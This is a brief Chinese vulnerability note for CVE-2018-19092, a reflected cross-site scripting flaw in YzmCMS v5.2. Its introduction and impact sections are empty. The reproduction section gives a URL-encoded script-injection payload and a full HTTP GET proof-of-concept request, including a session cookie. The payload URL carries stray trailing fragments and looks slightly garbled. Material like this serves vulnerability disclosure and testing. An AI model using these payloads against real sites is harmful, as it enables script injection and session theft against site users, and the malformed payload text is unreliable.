（CVE-2018-19092）YzmCMS v5.2 xss漏洞

一、漏洞简介

二、漏洞影响

三、复现过程

http://www.0-sec.org/search/index/archives/pubtime/1526387722/page/1.html

XSS payload: http://www.0-sec.org/search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1<%2fscript>r6qt2=1)

POC:

GET /search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1 HTTP/1.1
Host: www.0-sec.org
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.40/search/index/archives/pubtime/1526387722.html
Cookie: PHPSESSID=u0bh5qnr84qsu9aa0oj8vpkuk2